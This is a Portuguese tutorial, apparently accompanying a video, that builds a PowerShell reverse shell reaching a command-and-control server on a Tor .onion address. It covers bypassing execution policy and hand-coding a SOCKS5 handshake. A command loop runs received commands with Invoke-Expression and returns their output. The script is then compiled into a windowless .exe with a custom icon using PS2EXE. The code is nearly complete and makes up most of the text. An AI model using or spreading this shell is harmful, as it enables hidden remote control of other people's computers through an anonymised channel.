Neste vídeo, mostrei como preparamos uma máquina virtual com Windows 11 e conectamos ela a um servidor de C2 (Command & Control) oculto na rede Tor, utilizando um script PowerShell customizado e o cliente tor.exe
.
Ao invés de usar ferramentas tradicionais como Netcat ou Bash reverse shells, que geralmente são comuns em ambientes Linux, usamos PowerShell — que, por padrão, não possui uma forma nativa de se comunicar com serviços SOCKS5 (como os oferecidos pelo Tor). Por isso, é necessário criar a conexão manualmente via sockets.
Antes de rodar o script .ps1
, usamos o seguinte comando para permitir sua execução temporária:
Set-ExecutionPolicy Bypass -Scope Process |
Explicação do Script PowerShell:
Esse bloco define os parâmetros da conexão com a rede Tor e o endereço do C2.
Start-Sleep -Seconds 5 |
Pausa de 5 segundos — útil pra dar tempo ao Tor de inicializar.
# ========== CONEXÃO VIA SOCKS5 ========== $client = New-Object System.Net.Sockets.TcpClient $client.Connect($torProxy, $torPort) $stream = $client.GetStream() |
Cria um cliente TCP que conecta ao proxy SOCKS5 do Tor.
$stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3) $buffer = New-Object Byte[] 2 $stream.Read($buffer, 0, 2) | Out-Null if ($buffer[1] -ne 0x00) { $stream.Close(); exit } |
Faz o handshake SOCKS5, pedindo conexão sem autenticação. Se falhar, encerra o script.
$hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost) $portHigh = [math]::Floor($onionPort / 256) $portLow = $onionPort % 256 $portBytes = [byte[]]($portHigh, $portLow) $request = [byte[]](0x05, 0x01, 0x00, 0x03, $hostBytes.Length) + $hostBytes + $portBytes $stream.Write($request, 0, $request.Length) $response = New-Object Byte[] 10 $stream.Read($response, 0, 10) | Out-Null if ($response[1] -ne 0x00) { $stream.Close(); exit } |
Esse trecho monta e envia a requisição SOCKS5 para o endereço .onion
. Ele codifica o hostname e a porta do C2, e checa se a conexão foi aceita.
$writer = New-Object System.IO.StreamWriter($stream) $reader = New-Object System.IO.StreamReader($stream) $writer.AutoFlush = $true |
Prepara os objetos para ler e escrever dados através do socket.
while ($true) { try { $command = $reader.ReadLine() if ([string]::IsNullOrEmpty($command)) { break } $output = Invoke-Expression $command 2>&1 | Out-String $output = $output.Trim() + "`nPS " + (Get-Location) + "> " $writer.WriteLine($output) } catch { $writer.WriteLine("Erro: $_") } } |
Aqui é onde o PowerShell vira um shell reverso funcional:
Lê comandos enviados pelo C2
Executa eles localmente com Invoke-Expression
Envia de volta a saída do comando
Diferente de Netcat e Bash:
Netcat é simples: conecta e executa /bin/bash
diretamente — isso não existe no Windows.
Bash é para Linux; no Windows, temos PowerShell.
Aqui, temos que manualmente montar a conexão SOCKS5, coisa que ferramentas como Netcat ou curl já fazem sozinhas em outros sistemas.
# ========== CONFIG ========== Start-Sleep -Seconds 5 # ========== CONEXÃO VIA SOCKS5 ========== $stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3) $hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost) $writer = New-Object System.IO.StreamWriter($stream) while ($true) { |
E depois, convertendo o script .ps1
para um executável .exe
com ícone personalizado, usamos o módulo PS2EXE, que está disponível no GitHub:
Repositório GitHub: https://github.com/MScholtes/PS2EXE
Import-Module ".\ps2exe\PS2EXE-master\Module\ps2exe.psm1" |
Invoke-ps2exe -inputFile "C:\Users\NetCat121\Downloads\connect-tor.ps1" -outputFile "C:\Users\NetCat121\Downloads\netcat.exe" -noConsole -iconFile "C:\Users\NetCat121\Downloads\netcat.ico" |